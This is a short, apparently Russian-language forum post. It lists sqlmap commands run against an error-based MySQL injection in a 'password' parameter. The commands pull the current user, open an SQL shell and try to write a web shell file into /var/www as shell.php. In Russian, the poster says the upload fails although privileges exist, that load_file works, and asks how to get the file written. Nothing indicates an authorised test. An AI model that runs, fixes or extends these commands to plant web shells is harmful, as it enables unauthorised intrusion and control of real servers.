sqlmap.py -r test.txt --dbms=MySQL --risk=3 --level=5 -p password --technique=E --current-user

sqlmap.py -r test.txt --dbms=MySQL --risk=3 --level=5 -p password --technique=E --file-write=C:/shell/shell.txt --file-dest=/var/www/shell.php

>>Не льет, хотя права есть

sqlmap.py -r test.txt --dbms=MySQL --risk=3 --level=5 -p password --technique=E --sql-shell

select user()

select 'test' into outfile '/var/www/test.txt'

Что можно попробовать? Или в error-based inj не выполняется into outfile ? load_file работает